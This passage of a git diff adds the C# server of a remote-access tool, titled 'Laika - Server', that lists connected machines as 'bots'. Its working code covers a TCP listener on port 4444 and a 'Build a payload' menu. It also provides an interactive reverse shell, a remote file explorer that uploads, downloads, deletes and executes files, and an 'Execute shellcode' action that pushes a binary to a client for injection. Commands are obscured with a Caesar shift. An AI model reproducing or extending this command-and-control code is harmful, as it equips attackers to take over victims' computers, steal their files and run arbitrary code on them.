Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file)); + stream.Write(Message, 0, Message.Length); + + c.Client.Blocking = false; + } + catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + } + + private void dataGridView2_CellPainting(object sender, DataGridViewCellPaintingEventArgs e) + { + if (e.ColumnIndex == 0 && e.RowIndex >= 0) + { + e.Paint(e.CellBounds, DataGridViewPaintParts.All); + + string tmp = dataGridView2.Rows[e.RowIndex].Tag?.ToString(); + if (tmp == null) + return; + string type = tmp.Split('/').Last(); + var isDirectory = type == "d"; + var icon = isDirectory ? Properties.Resources.folder : Properties.Resources.file; + if (type == ".") + icon = Properties.Resources.up_arrow; + + int iconWidth = 16; + int iconHeight = 16; + int iconX = e.CellBounds.Left + 3; + int iconY = e.CellBounds.Top + (e.CellBounds.Height - iconHeight) / 2; + e.Graphics.DrawImage(icon, new Rectangle(iconX, iconY, iconWidth, iconHeight)); + + var text = tmp.Split('/').First(); + var textX = iconX + iconWidth + 5; + var textY = e.CellBounds.Top + (e.CellBounds.Height - e.CellStyle.Font.Height) / 2; + e.Graphics.DrawString(text, e.CellStyle.Font, Brushes.Black, textX, textY); + + e.Handled = true; + } + } + + private void textBox1_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + e.SuppressKeyPress = true; // Prevent the beep sound on Enter key + PATH = textBox1.Text; + if (PATH.Last() != '/') + PATH += '/'; + textBox1.Text = PATH; + textBox1.SelectionStart = textBox1.TextLength; + GetFileList(); + e.Handled = true; + } + } + + private void contextMenuStrip1_Opening(object sender, CancelEventArgs e) + { + string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last(); + + executeToolStripMenuItem.Visible = type != "d"; + } + + private void FileExplorer_FormClosing(object sender, FormClosingEventArgs e) + { + OPENED = false; + } + + private void deleteToolStripMenuItem_Click(object sender, EventArgs e) + { + string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First(); + string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last(); + + try + { + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + NetworkStream stream = c.GetStream(); + + byte[] Message = new byte[20]; + if (type == "d") + { + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_dir")); + } else + { + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("del_file")); + } + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + file)); + stream.Write(Message, 0, Message.Length); + + c.Client.Blocking = false; + } + catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + } + + private void uploadToolStripMenuItem_Click(object sender, EventArgs e) + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Title = "Select your file" + }; + + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + + string filePath = openFileDialog.FileName; + string fileNameWithExtension = Path.GetFileName(filePath); + + try + { + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("upload_file")); + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(PATH + fileNameWithExtension)); + stream.Write(Message, 0, Message.Length); + byte[] fileContent = File.ReadAllBytes(filePath); + stream.Write(fileContent, 0, fileContent.Length); + + c.Client.Blocking = false; + } + catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + } + + private void DownloadFile(string file, NetworkStream stream, TcpClient c) + { + Thread.Sleep(100); + Shell.ClearSocketData(c); + + byte[] Message = new byte[4096]; + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("download_file")); + stream.Write(Message, 0, Message.Length); + string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0]; + if (!Directory.Exists(foldername)) + Directory.CreateDirectory(foldername); + + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(file)); + stream.Write(Message, 0, Message.Length); + + byte[] delimiter = Encoding.UTF8.GetBytes(""); + int delimiterLength = delimiter.Length; + List receivedBytes = new List(); + byte[] buffer = new byte[4096]; + int bytesRead; + + using (FileStream fileStream = new FileStream(foldername + "/" + file.Replace(PATH, ""), FileMode.Create, FileAccess.Write)) + { + while (true) + { + bytesRead = stream.Read(buffer, 0, buffer.Length); + if (bytesRead == 0) + { + break; + } + receivedBytes.AddRange(buffer.Take(bytesRead)); + + while (receivedBytes.Count >= delimiterLength) + { + int endIndex = receivedBytes.Count - delimiterLength; + if (receivedBytes.Skip(endIndex).Take(delimiterLength).SequenceEqual(delimiter)) + { + fileStream.Write(receivedBytes.ToArray(), 0, endIndex); + return; + } + else + { + fileStream.WriteByte(receivedBytes[0]); + receivedBytes.RemoveAt(0); + } + } + } + if (receivedBytes.Count > 0) + { + fileStream.Write(receivedBytes.ToArray(), 0, receivedBytes.Count); + } + } + } + + private void DownloadFolder(string folder, string path, NetworkStream stream, TcpClient c) + { + if (!Directory.Exists(path)) + Directory.CreateDirectory(path); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_file_list")); + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/")); + stream.Write(Message, 0, Message.Length); + byte[] buffer = new byte[256 * 4096]; + int bytesRead; + bytesRead = stream.Read(buffer, 0, buffer.Length); + string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (receivedData == "") + return; + receivedData = Utils.CAESAR_DECRYPT(receivedData); + foreach (string e in receivedData.Split('/')) + { + Thread.Sleep(100); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("get_obj_info")); + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR(folder + "/" + e)); + stream.Write(Message, 0, Message.Length); + bytesRead = stream.Read(buffer, 0, buffer.Length); + string infos = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (infos.Split('/')[0] == "f") + { + DownloadFile(folder + "/" + e, stream, c); + continue; + } else + { + DownloadFolder(folder + "/" + e, path + "/" + e, stream, c); + } + } + } + + private void downloadToolStripMenuItem_Click(object sender, EventArgs e) + { + string file = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').First(); + string type = dataGridView2.SelectedRows[0].Tag.ToString().Split('/').Last(); + + try + { + CLIENT_ID = Server.Menu.CLIENT_ID; + if (Server.Menu.CONNECT_CLIENTS.Count <= CLIENT_ID) + return; + TcpClient c = Server.Menu.CONNECT_CLIENTS[CLIENT_ID]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + NetworkStream stream = c.GetStream(); + + if (type == "d") + { + string foldername = c.Client.RemoteEndPoint.ToString().Split(':')[0]; + if (!Directory.Exists(foldername)) + Directory.CreateDirectory(foldername); + DownloadFolder(PATH + file, foldername + "/" + file, stream, c); + } + else + { + DownloadFile(PATH + file, stream, c); + } + + c.Client.Blocking = false; + } + catch + { + CLIENT_ID = -1; + OPENED = false; + return; + } + } + } +} diff --git a/Server/FileExplorer.resx b/Server/FileExplorer.resx new file mode 100644 index 0000000..ad53752 --- /dev/null +++ b/Server/FileExplorer.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + \ No newline at end of file diff --git a/Server/Menu.Designer.cs b/Server/Menu.Designer.cs new file mode 100644 index 0000000..b87dd0b --- /dev/null +++ b/Server/Menu.Designer.cs @@ -0,0 +1,234 @@ +namespace Server +{ + partial class Menu + { + /// + /// Variable nécessaire au concepteur. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Nettoyage des ressources utilisées. + /// + /// true si les ressources managées doivent être supprimées ; sinon, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Code généré par le Concepteur Windows Form + + /// + /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas + /// le contenu de cette méthode avec l'éditeur de code. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.menuStrip1 = new System.Windows.Forms.MenuStrip(); + this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.payloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.buildAPayloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.dataGridView1 = new System.Windows.Forms.DataGridView(); + this.Id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.IPAddress = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); + this.shellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.fileExplorerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.shellcodeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.menuStrip1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).BeginInit(); + this.contextMenuStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // menuStrip1 + // + this.menuStrip1.BackColor = System.Drawing.SystemColors.Menu; + this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.toolStripMenuItem1, + this.payloadToolStripMenuItem}); + this.menuStrip1.Location = new System.Drawing.Point(0, 0); + this.menuStrip1.Name = "menuStrip1"; + this.menuStrip1.Size = new System.Drawing.Size(591, 24); + this.menuStrip1.TabIndex = 0; + this.menuStrip1.Text = "menuStrip1"; + // + // toolStripMenuItem1 + // + this.toolStripMenuItem1.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.exitToolStripMenuItem}); + this.toolStripMenuItem1.Name = "toolStripMenuItem1"; + this.toolStripMenuItem1.Size = new System.Drawing.Size(37, 20); + this.toolStripMenuItem1.Text = "File"; + this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click); + // + // exitToolStripMenuItem + // + this.exitToolStripMenuItem.Name = "exitToolStripMenuItem"; + this.exitToolStripMenuItem.Size = new System.Drawing.Size(93, 22); + this.exitToolStripMenuItem.Text = "Exit"; + this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click); + // + // payloadToolStripMenuItem + // + this.payloadToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.buildAPayloadToolStripMenuItem}); + this.payloadToolStripMenuItem.Name = "payloadToolStripMenuItem"; + this.payloadToolStripMenuItem.Size = new System.Drawing.Size(61, 20); + this.payloadToolStripMenuItem.Text = "Payload"; + // + // buildAPayloadToolStripMenuItem + // + this.buildAPayloadToolStripMenuItem.Name = "buildAPayloadToolStripMenuItem"; + this.buildAPayloadToolStripMenuItem.Size = new System.Drawing.Size(155, 22); + this.buildAPayloadToolStripMenuItem.Text = "Build a payload"; + this.buildAPayloadToolStripMenuItem.Click += new System.EventHandler(this.BuildPayloadToolStripMenuItem_Click); + // + // dataGridView1 + // + this.dataGridView1.AllowUserToAddRows = false; + this.dataGridView1.AllowUserToDeleteRows = false; + this.dataGridView1.AllowUserToResizeRows = false; + this.dataGridView1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.dataGridView1.BackgroundColor = System.Drawing.SystemColors.HighlightText; + this.dataGridView1.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.Single; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.dataGridView1.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.dataGridView1.ColumnHeadersHeight = 30; + this.dataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.dataGridView1.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Id, + this.IPAddress}); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView1.DefaultCellStyle = dataGridViewCellStyle2; + this.dataGridView1.EnableHeadersVisualStyles = false; + this.dataGridView1.GridColor = System.Drawing.SystemColors.ScrollBar; + this.dataGridView1.Location = new System.Drawing.Point(12, 28); + this.dataGridView1.Margin = new System.Windows.Forms.Padding(0); + this.dataGridView1.MultiSelect = false; + this.dataGridView1.Name = "dataGridView1"; + this.dataGridView1.ReadOnly = true; + this.dataGridView1.RowHeadersVisible = false; + this.dataGridView1.RowHeadersWidthSizeMode = System.Windows.Forms.DataGridViewRowHeadersWidthSizeMode.DisableResizing; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + this.dataGridView1.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dataGridView1.RowTemplate.ReadOnly = true; + this.dataGridView1.RowTemplate.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.dataGridView1.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.dataGridView1.Size = new System.Drawing.Size(567, 302); + this.dataGridView1.TabIndex = 1; + this.dataGridView1.TabStop = false; + this.dataGridView1.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dataGridView1_CellContentClick); + this.dataGridView1.CellMouseClick += new System.Windows.Forms.DataGridViewCellMouseEventHandler(this.dataGridView1_CellMouseClick); + // + // Id + // + this.Id.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.Id.HeaderText = "Id"; + this.Id.Name = "Id"; + this.Id.ReadOnly = true; + this.Id.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.Id.Width = 41; + // + // IPAddress + // + this.IPAddress.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.IPAddress.HeaderText = "IP Address"; + this.IPAddress.Name = "IPAddress"; + this.IPAddress.ReadOnly = true; + // + // contextMenuStrip1 + // + this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.shellToolStripMenuItem, + this.fileExplorerToolStripMenuItem, + this.shellcodeToolStripMenuItem}); + this.contextMenuStrip1.Name = "contextMenuStrip1"; + this.contextMenuStrip1.Size = new System.Drawing.Size(169, 70); + // + // shellToolStripMenuItem + // + this.shellToolStripMenuItem.Image = global::Server.Properties.Resources.terminal; + this.shellToolStripMenuItem.Name = "shellToolStripMenuItem"; + this.shellToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.shellToolStripMenuItem.Text = "Reverse shell"; + this.shellToolStripMenuItem.Click += new System.EventHandler(this.ReverseShellToolStripMenuItem_Click); + // + // fileExplorerToolStripMenuItem + // + this.fileExplorerToolStripMenuItem.Image = global::Server.Properties.Resources.folder; + this.fileExplorerToolStripMenuItem.Name = "fileExplorerToolStripMenuItem"; + this.fileExplorerToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.fileExplorerToolStripMenuItem.Text = "File Explorer"; + this.fileExplorerToolStripMenuItem.Click += new System.EventHandler(this.fileExplorerToolStripMenuItem_Click); + // + // shellcodeToolStripMenuItem + // + this.shellcodeToolStripMenuItem.Image = global::Server.Properties.Resources.execute; + this.shellcodeToolStripMenuItem.Name = "shellcodeToolStripMenuItem"; + this.shellcodeToolStripMenuItem.Size = new System.Drawing.Size(168, 22); + this.shellcodeToolStripMenuItem.Text = "Execute shellcode"; + this.shellcodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteShellcodeToolStripMenuItem_Click); + // + // Menu + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScroll = true; + this.ClientSize = new System.Drawing.Size(591, 342); + this.Controls.Add(this.dataGridView1); + this.Controls.Add(this.menuStrip1); + this.MainMenuStrip = this.menuStrip1; + this.MinimumSize = new System.Drawing.Size(607, 381); + this.Name = "Menu"; + this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show; + this.Text = "Laika - Server | 0 bots"; + this.Load += new System.EventHandler(this.Form1_Load); + this.menuStrip1.ResumeLayout(false); + this.menuStrip1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit(); + this.contextMenuStrip1.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.MenuStrip menuStrip1; + private System.Windows.Forms.ToolStripMenuItem toolStripMenuItem1; + private System.Windows.Forms.ToolStripMenuItem exitToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem payloadToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem buildAPayloadToolStripMenuItem; + private System.Windows.Forms.DataGridView dataGridView1; + private System.Windows.Forms.DataGridViewTextBoxColumn Id; + private System.Windows.Forms.DataGridViewTextBoxColumn IPAddress; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip1; + private System.Windows.Forms.ToolStripMenuItem shellToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem fileExplorerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem shellcodeToolStripMenuItem; + } +} + diff --git a/Server/Menu.cs b/Server/Menu.cs new file mode 100644 index 0000000..ce8eb6a --- /dev/null +++ b/Server/Menu.cs @@ -0,0 +1,234 @@ +using System; +using System.IO; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Net.Sockets; +using System.Net; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using System.Threading; + +namespace Server +{ + public partial class Menu : Form + { + public Menu() + { + InitializeComponent(); + } + + public static TcpListener server; + public static int CLIENT_ID; + public static List CONNECT_CLIENTS = new List(); + public static void ServerStart() + { + string localIPAddress = "192.168.56.1";//Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString(); + int port = 4444; + server = new TcpListener(System.Net.IPAddress.Parse(localIPAddress), port); + server.Start(); + } + public static void ServerStop() + { + server.Stop(); + } + public void on_new_client() + { + while (true) + { + TcpClient client; + try + { + client = server.AcceptTcpClient(); + } + catch + { + continue; + } + client.Client.Blocking = false; + for (int i = 0; i < dataGridView1.Rows.Count; i++) + { + if (dataGridView1.Rows[i].Cells[1].Value.ToString() == client.Client.RemoteEndPoint.ToString().Split(':')[0]) + { + client.Close(); + client = null; + } + } + if (client == null) + continue; + this.Invoke((MethodInvoker)delegate + { + dataGridView1.Rows.Add(new object[] { CONNECT_CLIENTS.Count, client.Client.RemoteEndPoint.ToString().Split(':')[0]}); + dataGridView1.Update(); + }); + lock (CONNECT_CLIENTS) + { + CONNECT_CLIENTS.Add(client); + } + try + { + this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots"; + } + catch { } + Console.WriteLine("New client connected"); + } + } + public void on_close_socket() + { + while (true) + { + lock (CONNECT_CLIENTS) + { + for (int i = 0; i < CONNECT_CLIENTS.Count; i++) + { + TcpClient client = CONNECT_CLIENTS[i]; + if (i == FileExplorer.CLIENT_ID) + continue; + try + { + if (client.Client.Poll(1, SelectMode.SelectRead) && client.Client.Available == 0) + { + CONNECT_CLIENTS.RemoveAt(i); + + this.Invoke((MethodInvoker)delegate + { + dataGridView1.Rows.RemoveAt(i); + dataGridView1.Update(); + }); + + i--; + try + { + this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots"; + } + catch { } + Console.WriteLine("Client disconnected"); + } + } + catch (SocketException) + { + CONNECT_CLIENTS.RemoveAt(i); + + this.Invoke((MethodInvoker)delegate + { + dataGridView1.Rows.RemoveAt(i); + dataGridView1.Update(); + }); + + i--; + try + { + this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots"; + } + catch { } + } + } + } + Thread.Sleep(100); + } + } + private void Form1_Load(object sender, EventArgs e) + { + dataGridView1.ClearSelection(); + } + + private void toolStripMenuItem1_Click(object sender, EventArgs e) + { + + } + + private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + + } + + private void exitToolStripMenuItem_Click(object sender, EventArgs e) + { + Application.Exit(); + } + + private void BuildPayloadToolStripMenuItem_Click(object sender, EventArgs e) + { + BuildMenu menu = new BuildMenu(); + + menu.Show(this); + } + + private void StartPatateCrypterToolStripMenuItem_Click(object sender, EventArgs e) + { + + } + + private void dataGridView1_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e) + { + if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0) + { + dataGridView1.CurrentCell = dataGridView1.Rows[e.RowIndex].Cells[e.ColumnIndex]; + CLIENT_ID = dataGridView1.CurrentRow.Index; + + contextMenuStrip1.Show(Cursor.Position); + } + } + private void ReverseShellToolStripMenuItem_Click(object sender, EventArgs e) + { + if (FileExplorer.OPENED == false) + Shell.StartShell(); + } + + private void fileExplorerToolStripMenuItem_Click(object sender, EventArgs e) + { + if (Shell.OPENED == false) + { + FileExplorer fex = new FileExplorer(); + + fex.Show(this); + } + } + + private void ExecuteShellcodeToolStripMenuItem_Click(object sender, EventArgs e) + { + OpenFileDialog openFileDialog = new OpenFileDialog + { + Filter = "Binary files (*.bin)|*.bin", + Title = "Select your shellcode" + }; + + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + + string filePath = openFileDialog.FileName; + TcpClient c = CONNECT_CLIENTS[dataGridView1.CurrentRow.Index]; + c.ReceiveTimeout = 10000; + c.Client.Blocking = true; + + try + { + NetworkStream stream = c.GetStream(); + + byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("inject")); + stream.Write(Message, 0, Message.Length); + Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("32")); + stream.Write(Message, 0, Message.Length); + + byte[] fileContent = File.ReadAllBytes(filePath); + stream.Write(fileContent, 0, fileContent.Length); + + byte[] buffer = new byte[5]; + int bytesRead; + + bytesRead = stream.Read(buffer, 0, buffer.Length); + string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead); + MessageBox.Show(receivedData); + } + catch + { + MessageBox.Show("Client timed out."); + } + + c.Client.Blocking = false; + } + } +} diff --git a/Server/Menu.resx b/Server/Menu.resx new file mode 100644 index 0000000..58b7ce8 --- /dev/null +++ b/Server/Menu.resx @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + True + + + True + + + 132, 17 + + \ No newline at end of file diff --git a/Server/Program.cs b/Server/Program.cs new file mode 100644 index 0000000..2e792e5 --- /dev/null +++ b/Server/Program.cs @@ -0,0 +1,207 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net.Sockets; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using static System.Windows.Forms.VisualStyles.VisualStyleElement; + +namespace Server +{ + public static class Shell + { + public static bool OPENED = false; + public static void ClearSocketData(TcpClient client) + { + try + { + if (client.Connected) + { + NetworkStream stream = client.GetStream(); + + stream.Flush(); + + while (client.Available > 0) + { + byte[] buffer = new byte[client.Available]; + stream.Read(buffer, 0, buffer.Length); + } + } + } + catch { } + } + public static async void StartShell() + { + OPENED = true; + + Form shell = new Form + { + Text = "Shell", + Size = new Size(800, 450), + BackColor = Color.Black, + FormBorderStyle = FormBorderStyle.FixedSingle, + MaximizeBox = false, + StartPosition = FormStartPosition.CenterScreen + }; + System.Windows.Forms.TextBox textBox = new System.Windows.Forms.TextBox + { + Multiline = true, + Dock = DockStyle.Fill, + BackColor = Color.Black, + ForeColor = Color.White, + BorderStyle = BorderStyle.None, + Font = new Font("Consolas", 12), + ScrollBars = ScrollBars.Vertical + }; + shell.Controls.Add(textBox); + TcpClient c = Menu.CONNECT_CLIENTS[Menu.CLIENT_ID]; + c.Client.Blocking = true; + ClearSocketData(c); + shell.FormClosing += (sender, e) => OnFormClosing(e, c); + textBox.KeyDown += (sender, e) => OnKeyDown(e, textBox, c); + shell.Show(); + + try + { + await Task.Run(async () => + { + try + { + NetworkStream stream = c.GetStream(); + byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("shell")); + stream.Write(message, 0, message.Length); + byte[] buffer = new byte[4096]; + int bytesRead; + while ((bytesRead = await stream.ReadAsync(buffer, 0, buffer.Length)) != 0) + { + string receivedData = Encoding.UTF8.GetString(buffer, 0, bytesRead); + if (receivedData == "fail") + { + shell.Invoke((Action)(() => MessageBox.Show("fail"))); + break; + } + receivedData = Utils.CAESAR_DECRYPT(receivedData); + if (receivedData.Contains("Laika: session ended")) + { + break; + } + shell.Invoke((Action)(() => + { + textBox.AppendText(receivedData); + textBox.ScrollToCaret(); + })); + } + } + catch + { + } + }); + } + finally + { + ClearSocketData(c); + c.Client.Blocking = false; + if (shell != null) + { + shell.Close(); + shell.Dispose(); + } + } + OPENED = false; + } + + private static void OnFormClosing(FormClosingEventArgs e, TcpClient c) + { + try + { + NetworkStream stream = c.GetStream(); + byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR("exit\n")); + stream.Write(message, 0, message.Length); + ClearSocketData(c); + c.Client.Blocking = false; + } + catch { } + OPENED = false; + } + + private static async void OnKeyDown(KeyEventArgs e, System.Windows.Forms.TextBox textBox, TcpClient client) + { + if (e.KeyCode == Keys.Enter) + { + e.SuppressKeyPress = true; // Prevent the beep sound on Enter key + string input = textBox.Text.Split(new[] { ">" }, StringSplitOptions.None).Last(); + try + { + NetworkStream stream = client.GetStream(); + byte[] message = Encoding.UTF8.GetBytes(Utils.CAESAR(input + "\n")); + await stream.WriteAsync(message, 0, message.Length); + } + catch (Exception ex) + { + MessageBox.Show("Error sending message: " + ex.Message); + } + + textBox.AppendText(Environment.NewLine); // Move to the next line after pressing Enter + } + } + } + public static class Utils + { + private const int KEY = 5; + public static string CAESAR_DECRYPT(string input) + { + char[] result = new char[input.Length]; + + for (int i = 0; i < input.Length; i++) + { + char c = input[i]; + result[i] = (char)((int)c - KEY); + } + + return new string(result); + } + public static string CAESAR(string input) + { + char[] result = new char[input.Length]; + + for (int i = 0; i < input.Length; i++) + { + char c = input[i]; + result[i] = (char)((int)c + KEY); + } + + return new string(result); + } + } + internal static class Program + { + /// + /// Point d'entrée principal de l'application. + /// + [STAThread] + static void Main() + { + Application.SetCompatibleTextRenderingDefault(false); + Application.EnableVisualStyles(); + + Menu.ServerStart(); + Menu m = new Menu(); + Thread t = new Thread(m.on_new_client); + Thread t2 = new Thread(m.on_close_socket); + + t.Start(); + t2.Start(); + + Application.Run(m); + Menu.ServerStop(); + + t.Abort(); + t2.Abort(); + } + } +} diff --git a/Server/Properties/AssemblyInfo.cs b/Server/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..28d0aea --- /dev/null +++ b/Server/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// Les informations générales relatives à un assembly 